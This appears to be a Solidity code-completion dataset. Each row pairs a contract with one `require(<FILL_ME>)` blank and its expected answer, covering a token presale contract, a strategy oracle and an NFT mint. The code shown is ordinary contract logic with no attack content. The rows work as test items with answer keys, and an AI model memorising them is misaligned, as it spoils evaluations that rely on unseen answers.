* Allows participents to claim the tokens they purchased
*/
function claimTokens() external onlyInactive {
}
/*
* Refunds the Eth to participents
*/
function refund() external onlyInactive onlyRefund {
}
/*
* Withdrawal tokens on refund
*/
function withrawTokens() external onlyOwner onlyInactive onlyRefund {
}
/*
* If requirements are passed, updates user"s token balance based on their eth contribution
*/
function buyTokens(address _contributor) public payable onlyActive {
}
/*
* Internal functions, called when calculating balances
*/
function _getUserTokens(uint256 _amount) internal view returns (uint256) {
}
function _getLiquidityEth() internal view returns (uint256) {
}
function _getOwnerEth() internal view returns (uint256) {
}
function _getTokenDeposit() internal view returns (uint256){
}
function _getPercentageFromValue(uint256 currentValue, uint256 maxValue) private pure returns (uint256) {
}
function _getValueFromPercentage(uint256 currentPercentage, uint256 maxValue) private pure returns (uint256) {
}
}
| tokenInstance.transfer(creatorWallet,remainder),"Refund failed." | 87,000 | tokenInstance.transfer(creatorWallet,remainder) |
"Claim failed." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./Ownable.sol";
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (
uint amountToken,
uint amountETH,
uint liquidity
);
}
contract SendMoneyToGhost is Ownable {
using SafeMath for uint256;
bool public isInit;
bool public isDeposit;
bool public isRefund;
bool public isFinish;
bool public burnTokens = true;
address public creatorWallet;
address public weth;
uint8 public tokenDecimals = 18;
uint256 public ethRaised;
uint256 public percentageRaised;
uint256 public tokensSold;
struct Pool {
uint64 startTime;
uint64 endTime;
uint256 tokenDeposit;
uint256 tokensForSale;
uint256 tokensForLiquidity;
uint8 liquidityPortion;
uint256 hardCap;
uint256 softCap;
uint256 maxBuy;
uint256 minBuy;
}
IERC20 public tokenInstance;
IUniswapV2Factory public UniswapV2Factory;
IUniswapV2Router02 public UniswapV2Router02;
Pool public pool;
mapping(address => uint256) public ethContribution;
modifier onlyActive {
}
modifier onlyInactive {
}
modifier onlyRefund {
}
constructor(
IERC20 _tokenInstance,
address _uniswapv2Router,
address _uniswapv2Factory,
address _weth
) {
}
event Liquified(
address indexed _token,
address indexed _router,
address indexed _pair
);
event Canceled(
address indexed _inititator,
address indexed _token,
address indexed _presale
);
event Bought(address indexed _buyer, uint256 _tokenAmount);
event Refunded(address indexed _refunder, uint256 _tokenAmount);
event Deposited(address indexed _initiator, uint256 _totalDeposit);
event Claimed(address indexed _participent, uint256 _tokenAmount);
event RefundedRemainder(address indexed _initiator, uint256 _amount);
event BurntRemainder(address indexed _initiator, uint256 _amount);
event Withdraw(address indexed _creator, uint256 _amount);
/*
* Reverts ethers sent to this address whenever requirements are not met
*/
receive() external payable {
}
/*
* Initiates the arguments of the sale
@dev arguments must be pa ssed in wei (amount*10**18)
*/
function initSale(
uint64 _startTime,
uint64 _endTime,
uint256 _tokenDeposit,
uint256 _tokensForSale,
uint256 _tokensForLiquidity,
uint8 _liquidityPortion,
uint256 _hardCap,
uint256 _softCap,
uint256 _maxBuy,
uint256 _minBuy
) external onlyOwner onlyInactive {
}
/*
* Once called the owner deposits tokens into pool
*/
function deposit() external onlyOwner {
}
/*
* Finish the sale - Create Uniswap v2 pair, add liquidity, take fees, withrdawal funds, burn/refund unused tokens
*/
function finishSale() external onlyOwner onlyInactive {
}
/*
* The owner can decide to close the sale if it is still active
NOTE: Creator may call this function even if the Hard Cap is reached, to prevent it use:
require(ethRaised < pool.hardCap)
*/
function cancelSale() external onlyOwner onlyActive {
}
/*
* Allows participents to claim the tokens they purchased
*/
function claimTokens() external onlyInactive {
require(isFinish, "Sale is still active.");
require(!isRefund, "Refund process.");
uint256 tokensAmount = _getUserTokens(ethContribution[msg.sender]);
ethContribution[msg.sender] = 0;
require(<FILL_ME>)
emit Claimed(msg.sender, tokensAmount);
}
/*
* Refunds the Eth to participents
*/
function refund() external onlyInactive onlyRefund {
}
/*
* Withdrawal tokens on refund
*/
function withrawTokens() external onlyOwner onlyInactive onlyRefund {
}
/*
* If requirements are passed, updates user"s token balance based on their eth contribution
*/
function buyTokens(address _contributor) public payable onlyActive {
}
/*
* Internal functions, called when calculating balances
*/
function _getUserTokens(uint256 _amount) internal view returns (uint256) {
}
function _getLiquidityEth() internal view returns (uint256) {
}
function _getOwnerEth() internal view returns (uint256) {
}
function _getTokenDeposit() internal view returns (uint256){
}
function _getPercentageFromValue(uint256 currentValue, uint256 maxValue) private pure returns (uint256) {
}
function _getValueFromPercentage(uint256 currentPercentage, uint256 maxValue) private pure returns (uint256) {
}
}
| tokenInstance.transfer(msg.sender,tokensAmount),"Claim failed." | 87,000 | tokenInstance.transfer(msg.sender,tokensAmount) |
"No amount available" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./Ownable.sol";
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (
uint amountToken,
uint amountETH,
uint liquidity
);
}
contract SendMoneyToGhost is Ownable {
using SafeMath for uint256;
bool public isInit;
bool public isDeposit;
bool public isRefund;
bool public isFinish;
bool public burnTokens = true;
address public creatorWallet;
address public weth;
uint8 public tokenDecimals = 18;
uint256 public ethRaised;
uint256 public percentageRaised;
uint256 public tokensSold;
struct Pool {
uint64 startTime;
uint64 endTime;
uint256 tokenDeposit;
uint256 tokensForSale;
uint256 tokensForLiquidity;
uint8 liquidityPortion;
uint256 hardCap;
uint256 softCap;
uint256 maxBuy;
uint256 minBuy;
}
IERC20 public tokenInstance;
IUniswapV2Factory public UniswapV2Factory;
IUniswapV2Router02 public UniswapV2Router02;
Pool public pool;
mapping(address => uint256) public ethContribution;
modifier onlyActive {
}
modifier onlyInactive {
}
modifier onlyRefund {
}
constructor(
IERC20 _tokenInstance,
address _uniswapv2Router,
address _uniswapv2Factory,
address _weth
) {
}
event Liquified(
address indexed _token,
address indexed _router,
address indexed _pair
);
event Canceled(
address indexed _inititator,
address indexed _token,
address indexed _presale
);
event Bought(address indexed _buyer, uint256 _tokenAmount);
event Refunded(address indexed _refunder, uint256 _tokenAmount);
event Deposited(address indexed _initiator, uint256 _totalDeposit);
event Claimed(address indexed _participent, uint256 _tokenAmount);
event RefundedRemainder(address indexed _initiator, uint256 _amount);
event BurntRemainder(address indexed _initiator, uint256 _amount);
event Withdraw(address indexed _creator, uint256 _amount);
/*
* Reverts ethers sent to this address whenever requirements are not met
*/
receive() external payable {
}
/*
* Initiates the arguments of the sale
@dev arguments must be pa ssed in wei (amount*10**18)
*/
function initSale(
uint64 _startTime,
uint64 _endTime,
uint256 _tokenDeposit,
uint256 _tokensForSale,
uint256 _tokensForLiquidity,
uint8 _liquidityPortion,
uint256 _hardCap,
uint256 _softCap,
uint256 _maxBuy,
uint256 _minBuy
) external onlyOwner onlyInactive {
}
/*
* Once called the owner deposits tokens into pool
*/
function deposit() external onlyOwner {
}
/*
* Finish the sale - Create Uniswap v2 pair, add liquidity, take fees, withrdawal funds, burn/refund unused tokens
*/
function finishSale() external onlyOwner onlyInactive {
}
/*
* The owner can decide to close the sale if it is still active
NOTE: Creator may call this function even if the Hard Cap is reached, to prevent it use:
require(ethRaised < pool.hardCap)
*/
function cancelSale() external onlyOwner onlyActive {
}
/*
* Allows participents to claim the tokens they purchased
*/
function claimTokens() external onlyInactive {
}
/*
* Refunds the Eth to participents
*/
function refund() external onlyInactive onlyRefund {
uint256 refundAmount = ethContribution[msg.sender];
require(refundAmount > 0, "No refund amount");
require(<FILL_ME>)
ethContribution[msg.sender] = 0;
address payable refunder = payable(msg.sender);
refunder.transfer(refundAmount);
emit Refunded(refunder, refundAmount);
}
/*
* Withdrawal tokens on refund
*/
function withrawTokens() external onlyOwner onlyInactive onlyRefund {
}
/*
* If requirements are passed, updates user"s token balance based on their eth contribution
*/
function buyTokens(address _contributor) public payable onlyActive {
}
/*
* Internal functions, called when calculating balances
*/
function _getUserTokens(uint256 _amount) internal view returns (uint256) {
}
function _getLiquidityEth() internal view returns (uint256) {
}
function _getOwnerEth() internal view returns (uint256) {
}
function _getTokenDeposit() internal view returns (uint256){
}
function _getPercentageFromValue(uint256 currentValue, uint256 maxValue) private pure returns (uint256) {
}
function _getValueFromPercentage(uint256 currentPercentage, uint256 maxValue) private pure returns (uint256) {
}
}
| address(this).balance>=refundAmount,"No amount available" | 87,000 | address(this).balance>=refundAmount |
"Withdraw failed." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./Ownable.sol";
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (
uint amountToken,
uint amountETH,
uint liquidity
);
}
contract SendMoneyToGhost is Ownable {
using SafeMath for uint256;
bool public isInit;
bool public isDeposit;
bool public isRefund;
bool public isFinish;
bool public burnTokens = true;
address public creatorWallet;
address public weth;
uint8 public tokenDecimals = 18;
uint256 public ethRaised;
uint256 public percentageRaised;
uint256 public tokensSold;
struct Pool {
uint64 startTime;
uint64 endTime;
uint256 tokenDeposit;
uint256 tokensForSale;
uint256 tokensForLiquidity;
uint8 liquidityPortion;
uint256 hardCap;
uint256 softCap;
uint256 maxBuy;
uint256 minBuy;
}
IERC20 public tokenInstance;
IUniswapV2Factory public UniswapV2Factory;
IUniswapV2Router02 public UniswapV2Router02;
Pool public pool;
mapping(address => uint256) public ethContribution;
modifier onlyActive {
}
modifier onlyInactive {
}
modifier onlyRefund {
}
constructor(
IERC20 _tokenInstance,
address _uniswapv2Router,
address _uniswapv2Factory,
address _weth
) {
}
event Liquified(
address indexed _token,
address indexed _router,
address indexed _pair
);
event Canceled(
address indexed _inititator,
address indexed _token,
address indexed _presale
);
event Bought(address indexed _buyer, uint256 _tokenAmount);
event Refunded(address indexed _refunder, uint256 _tokenAmount);
event Deposited(address indexed _initiator, uint256 _totalDeposit);
event Claimed(address indexed _participent, uint256 _tokenAmount);
event RefundedRemainder(address indexed _initiator, uint256 _amount);
event BurntRemainder(address indexed _initiator, uint256 _amount);
event Withdraw(address indexed _creator, uint256 _amount);
/*
* Reverts ethers sent to this address whenever requirements are not met
*/
receive() external payable {
}
/*
* Initiates the arguments of the sale
@dev arguments must be pa ssed in wei (amount*10**18)
*/
function initSale(
uint64 _startTime,
uint64 _endTime,
uint256 _tokenDeposit,
uint256 _tokensForSale,
uint256 _tokensForLiquidity,
uint8 _liquidityPortion,
uint256 _hardCap,
uint256 _softCap,
uint256 _maxBuy,
uint256 _minBuy
) external onlyOwner onlyInactive {
}
/*
* Once called the owner deposits tokens into pool
*/
function deposit() external onlyOwner {
}
/*
* Finish the sale - Create Uniswap v2 pair, add liquidity, take fees, withrdawal funds, burn/refund unused tokens
*/
function finishSale() external onlyOwner onlyInactive {
}
/*
* The owner can decide to close the sale if it is still active
NOTE: Creator may call this function even if the Hard Cap is reached, to prevent it use:
require(ethRaised < pool.hardCap)
*/
function cancelSale() external onlyOwner onlyActive {
}
/*
* Allows participents to claim the tokens they purchased
*/
function claimTokens() external onlyInactive {
}
/*
* Refunds the Eth to participents
*/
function refund() external onlyInactive onlyRefund {
}
/*
* Withdrawal tokens on refund
*/
function withrawTokens() external onlyOwner onlyInactive onlyRefund {
if (tokenInstance.balanceOf(address(this)) > 0) {
uint256 tokenDeposit = _getTokenDeposit();
require(<FILL_ME>)
emit Withdraw(msg.sender, tokenDeposit);
}
}
/*
* If requirements are passed, updates user"s token balance based on their eth contribution
*/
function buyTokens(address _contributor) public payable onlyActive {
}
/*
* Internal functions, called when calculating balances
*/
function _getUserTokens(uint256 _amount) internal view returns (uint256) {
}
function _getLiquidityEth() internal view returns (uint256) {
}
function _getOwnerEth() internal view returns (uint256) {
}
function _getTokenDeposit() internal view returns (uint256){
}
function _getPercentageFromValue(uint256 currentValue, uint256 maxValue) private pure returns (uint256) {
}
function _getValueFromPercentage(uint256 currentPercentage, uint256 maxValue) private pure returns (uint256) {
}
}
| tokenInstance.transfer(msg.sender,tokenDeposit),"Withdraw failed." | 87,000 | tokenInstance.transfer(msg.sender,tokenDeposit) |
"Max buy limit exceeded." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./Ownable.sol";
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (
uint amountToken,
uint amountETH,
uint liquidity
);
}
contract SendMoneyToGhost is Ownable {
using SafeMath for uint256;
bool public isInit;
bool public isDeposit;
bool public isRefund;
bool public isFinish;
bool public burnTokens = true;
address public creatorWallet;
address public weth;
uint8 public tokenDecimals = 18;
uint256 public ethRaised;
uint256 public percentageRaised;
uint256 public tokensSold;
struct Pool {
uint64 startTime;
uint64 endTime;
uint256 tokenDeposit;
uint256 tokensForSale;
uint256 tokensForLiquidity;
uint8 liquidityPortion;
uint256 hardCap;
uint256 softCap;
uint256 maxBuy;
uint256 minBuy;
}
IERC20 public tokenInstance;
IUniswapV2Factory public UniswapV2Factory;
IUniswapV2Router02 public UniswapV2Router02;
Pool public pool;
mapping(address => uint256) public ethContribution;
modifier onlyActive {
}
modifier onlyInactive {
}
modifier onlyRefund {
}
constructor(
IERC20 _tokenInstance,
address _uniswapv2Router,
address _uniswapv2Factory,
address _weth
) {
}
event Liquified(
address indexed _token,
address indexed _router,
address indexed _pair
);
event Canceled(
address indexed _inititator,
address indexed _token,
address indexed _presale
);
event Bought(address indexed _buyer, uint256 _tokenAmount);
event Refunded(address indexed _refunder, uint256 _tokenAmount);
event Deposited(address indexed _initiator, uint256 _totalDeposit);
event Claimed(address indexed _participent, uint256 _tokenAmount);
event RefundedRemainder(address indexed _initiator, uint256 _amount);
event BurntRemainder(address indexed _initiator, uint256 _amount);
event Withdraw(address indexed _creator, uint256 _amount);
/*
* Reverts ethers sent to this address whenever requirements are not met
*/
receive() external payable {
}
/*
* Initiates the arguments of the sale
@dev arguments must be pa ssed in wei (amount*10**18)
*/
function initSale(
uint64 _startTime,
uint64 _endTime,
uint256 _tokenDeposit,
uint256 _tokensForSale,
uint256 _tokensForLiquidity,
uint8 _liquidityPortion,
uint256 _hardCap,
uint256 _softCap,
uint256 _maxBuy,
uint256 _minBuy
) external onlyOwner onlyInactive {
}
/*
* Once called the owner deposits tokens into pool
*/
function deposit() external onlyOwner {
}
/*
* Finish the sale - Create Uniswap v2 pair, add liquidity, take fees, withrdawal funds, burn/refund unused tokens
*/
function finishSale() external onlyOwner onlyInactive {
}
/*
* The owner can decide to close the sale if it is still active
NOTE: Creator may call this function even if the Hard Cap is reached, to prevent it use:
require(ethRaised < pool.hardCap)
*/
function cancelSale() external onlyOwner onlyActive {
}
/*
* Allows participents to claim the tokens they purchased
*/
function claimTokens() external onlyInactive {
}
/*
* Refunds the Eth to participents
*/
function refund() external onlyInactive onlyRefund {
}
/*
* Withdrawal tokens on refund
*/
function withrawTokens() external onlyOwner onlyInactive onlyRefund {
}
/*
* If requirements are passed, updates user"s token balance based on their eth contribution
*/
function buyTokens(address _contributor) public payable onlyActive {
require(!isFinish, "Sale finished.");
require(isDeposit, "Tokens not deposited.");
require(_contributor != address(0), "Transfer to 0 address.");
require(msg.value != 0, "Wei Amount is 0");
if (ethRaised > pool.hardCap - pool.minBuy) {
require(msg.value == pool.hardCap - ethRaised, "Value must be the remainder.");
} else {
require(msg.value >= pool.minBuy, "Min buy is not met.");
}
require(<FILL_ME>)
require(ethRaised + msg.value <= pool.hardCap, "HC Reached.");
ethRaised += msg.value;
ethContribution[msg.sender] += msg.value;
}
/*
* Internal functions, called when calculating balances
*/
function _getUserTokens(uint256 _amount) internal view returns (uint256) {
}
function _getLiquidityEth() internal view returns (uint256) {
}
function _getOwnerEth() internal view returns (uint256) {
}
function _getTokenDeposit() internal view returns (uint256){
}
function _getPercentageFromValue(uint256 currentValue, uint256 maxValue) private pure returns (uint256) {
}
function _getValueFromPercentage(uint256 currentPercentage, uint256 maxValue) private pure returns (uint256) {
}
}
| msg.value+ethContribution[_contributor]<=pool.maxBuy,"Max buy limit exceeded." | 87,000 | msg.value+ethContribution[_contributor]<=pool.maxBuy |
"HC Reached." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./Ownable.sol";
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (
uint amountToken,
uint amountETH,
uint liquidity
);
}
contract SendMoneyToGhost is Ownable {
using SafeMath for uint256;
bool public isInit;
bool public isDeposit;
bool public isRefund;
bool public isFinish;
bool public burnTokens = true;
address public creatorWallet;
address public weth;
uint8 public tokenDecimals = 18;
uint256 public ethRaised;
uint256 public percentageRaised;
uint256 public tokensSold;
struct Pool {
uint64 startTime;
uint64 endTime;
uint256 tokenDeposit;
uint256 tokensForSale;
uint256 tokensForLiquidity;
uint8 liquidityPortion;
uint256 hardCap;
uint256 softCap;
uint256 maxBuy;
uint256 minBuy;
}
IERC20 public tokenInstance;
IUniswapV2Factory public UniswapV2Factory;
IUniswapV2Router02 public UniswapV2Router02;
Pool public pool;
mapping(address => uint256) public ethContribution;
modifier onlyActive {
}
modifier onlyInactive {
}
modifier onlyRefund {
}
constructor(
IERC20 _tokenInstance,
address _uniswapv2Router,
address _uniswapv2Factory,
address _weth
) {
}
event Liquified(
address indexed _token,
address indexed _router,
address indexed _pair
);
event Canceled(
address indexed _inititator,
address indexed _token,
address indexed _presale
);
event Bought(address indexed _buyer, uint256 _tokenAmount);
event Refunded(address indexed _refunder, uint256 _tokenAmount);
event Deposited(address indexed _initiator, uint256 _totalDeposit);
event Claimed(address indexed _participent, uint256 _tokenAmount);
event RefundedRemainder(address indexed _initiator, uint256 _amount);
event BurntRemainder(address indexed _initiator, uint256 _amount);
event Withdraw(address indexed _creator, uint256 _amount);
/*
* Reverts ethers sent to this address whenever requirements are not met
*/
receive() external payable {
}
/*
* Initiates the arguments of the sale
@dev arguments must be pa ssed in wei (amount*10**18)
*/
function initSale(
uint64 _startTime,
uint64 _endTime,
uint256 _tokenDeposit,
uint256 _tokensForSale,
uint256 _tokensForLiquidity,
uint8 _liquidityPortion,
uint256 _hardCap,
uint256 _softCap,
uint256 _maxBuy,
uint256 _minBuy
) external onlyOwner onlyInactive {
}
/*
* Once called the owner deposits tokens into pool
*/
function deposit() external onlyOwner {
}
/*
* Finish the sale - Create Uniswap v2 pair, add liquidity, take fees, withrdawal funds, burn/refund unused tokens
*/
function finishSale() external onlyOwner onlyInactive {
}
/*
* The owner can decide to close the sale if it is still active
NOTE: Creator may call this function even if the Hard Cap is reached, to prevent it use:
require(ethRaised < pool.hardCap)
*/
function cancelSale() external onlyOwner onlyActive {
}
/*
* Allows participents to claim the tokens they purchased
*/
function claimTokens() external onlyInactive {
}
/*
* Refunds the Eth to participents
*/
function refund() external onlyInactive onlyRefund {
}
/*
* Withdrawal tokens on refund
*/
function withrawTokens() external onlyOwner onlyInactive onlyRefund {
}
/*
* If requirements are passed, updates user"s token balance based on their eth contribution
*/
function buyTokens(address _contributor) public payable onlyActive {
require(!isFinish, "Sale finished.");
require(isDeposit, "Tokens not deposited.");
require(_contributor != address(0), "Transfer to 0 address.");
require(msg.value != 0, "Wei Amount is 0");
if (ethRaised > pool.hardCap - pool.minBuy) {
require(msg.value == pool.hardCap - ethRaised, "Value must be the remainder.");
} else {
require(msg.value >= pool.minBuy, "Min buy is not met.");
}
require(msg.value + ethContribution[_contributor] <= pool.maxBuy, "Max buy limit exceeded.");
require(<FILL_ME>)
ethRaised += msg.value;
ethContribution[msg.sender] += msg.value;
}
/*
* Internal functions, called when calculating balances
*/
function _getUserTokens(uint256 _amount) internal view returns (uint256) {
}
function _getLiquidityEth() internal view returns (uint256) {
}
function _getOwnerEth() internal view returns (uint256) {
}
function _getTokenDeposit() internal view returns (uint256){
}
function _getPercentageFromValue(uint256 currentValue, uint256 maxValue) private pure returns (uint256) {
}
function _getValueFromPercentage(uint256 currentPercentage, uint256 maxValue) private pure returns (uint256) {
}
}
| ethRaised+msg.value<=pool.hardCap,"HC Reached." | 87,000 | ethRaised+msg.value<=pool.hardCap |
"Source not found" | // SPDX-License-Identifier: BUSL-1.1
pragma solidity >=0.8.13;
import "@yield-protocol/utils-v2/contracts/access/AccessControl.sol";
import "@yield-protocol/utils-v2/contracts/cast/CastBytes32Bytes6.sol";
import "../../interfaces/IOracle.sol";
interface IStrategy {
/// @notice Returns LP tokens owned by the strategy after the last operation
/// @return LP tokens amount
function cached() external view returns (uint256);
/// @notice Returns total supply of the strategy token
/// @return Total Supply of strategy token
function totalSupply() external view returns (uint256);
/// @notice Returns baseId of the strategy
/// @return baseId
function baseId() external view returns (bytes6);
}
/// @title Oracle contract to get price of strategy tokens in terms of base & vice versa
/// @author iamsahu
/// @dev value of 1 LP token = 1 base
contract StrategyOracle is IOracle, AccessControl {
using CastBytes32Bytes6 for bytes32;
event SourceSet(
bytes6 indexed baseId,
bytes6 indexed quoteId,
IStrategy indexed strategy
);
struct Source {
bool inverse;
IStrategy strategy;
}
mapping(bytes6 => mapping(bytes6 => Source)) public sources;
function setSource(bytes6 strategyId, IStrategy strategy) external auth {
}
function peek(
bytes32 baseId,
bytes32 quoteId,
uint256 amount
) external view returns (uint256 value, uint256 updateTime) {
}
function _peek(
bytes6 baseId,
bytes6 quoteId,
uint256 amount
) internal view returns (uint256 value, uint256 updateTime) {
updateTime = block.timestamp;
Source memory source = sources[baseId][quoteId];
require(<FILL_ME>)
if (source.inverse == true) {
value =
(amount * source.strategy.totalSupply()) /
source.strategy.cached();
} else {
// value of 1 strategy token = number of LP tokens in strat(cached)
// ---------------------------------------
// totalSupply of strategy tokens
value =
(amount * source.strategy.cached()) /
source.strategy.totalSupply();
}
}
function get(
bytes32 baseId,
bytes32 quoteId,
uint256 amount
) external returns (uint256 value, uint256 updateTime) {
}
}
| address(source.strategy)!=address(0),"Source not found" | 87,188 | address(source.strategy)!=address(0) |
'Max per wallet mint exceeded!' | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.9 <0.9.0;
import 'erc721a/contracts/ERC721A.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/cryptography/MerkleProof.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import "./DefaultOperatorFilterer.sol";
contract Rorirobots is ERC721A, Ownable, ReentrancyGuard, DefaultOperatorFilterer {
using Strings for uint256;
bytes32 public merkleRoot;
mapping(address => uint256) public addressClaimed;
mapping(address => bool) public whitelistClaimed;
mapping(address => bool) public allowList;
string private uriPrefix = '';
string public uriSuffix = '.json';
string public hiddenMetadataUri;
uint256 public cost = 0.0077 ether;
uint256 public maxSupply = 333;
uint256 public maxMintAmountPerTx = 2;
uint256 public maxMintAmountPerWallet = 2;
bool public paused = true;
bool public whitelistMintEnabled = false;
bool public revealed = true;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
uint256 _cost,
uint256 _maxSupply,
uint256 _maxMintAmountPerTx,
string memory _hiddenMetadataUri
) ERC721A(_tokenName, _tokenSymbol) {}
modifier mintCompliance(uint256 _mintAmount) {
require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, 'Invalid mint amount!');
require(<FILL_ME>)
require(totalSupply() + _mintAmount <= maxSupply, 'Max supply exceeded!');
_;
}
modifier mintPriceCompliance(uint256 _mintAmount) {
}
function whitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) {
}
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) {
}
function devMint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) onlyOwner {
}
function ownerMint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) onlyOwner {
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setRevealed(bool _state) public onlyOwner {
}
function setCost(uint256 _cost) public onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
function setWhitelistMintEnabled(bool _state) public onlyOwner {
}
function withdraw() public onlyOwner nonReentrant {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
override
onlyAllowedOperator
{
}
}
| addressClaimed[_msgSender()]+_mintAmount<=maxMintAmountPerWallet,'Max per wallet mint exceeded!' | 87,233 | addressClaimed[_msgSender()]+_mintAmount<=maxMintAmountPerWallet |
"Caller is not the dev" | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
)
external
returns (
uint amountA,
uint amountB,
uint liquidity
);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
)
external
payable
returns (
uint amountToken,
uint amountETH,
uint liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
